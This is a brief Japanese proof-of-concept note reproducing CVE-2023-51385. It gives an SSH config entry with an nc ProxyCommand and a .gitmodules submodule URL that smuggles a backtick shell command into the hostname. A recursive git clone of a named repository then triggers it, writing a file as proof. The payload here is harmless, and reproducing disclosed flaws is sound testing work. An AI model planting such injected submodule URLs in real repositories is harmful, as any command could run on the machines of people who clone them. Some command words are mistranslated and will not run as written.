##CVE-2023-51385の検証
###まず ~/.ssh/configに以下を追加
ホスト *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
.gitmodulesファイルの文にコマンドインジェクションが存在
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
設定完了後、以下のコマンドを実行してトリガー
git クローン https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
成功するとCVE-2023-51385_testディレクトリにcve.txtファイルが生成されます
![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )
詳細は論文ブログを参照: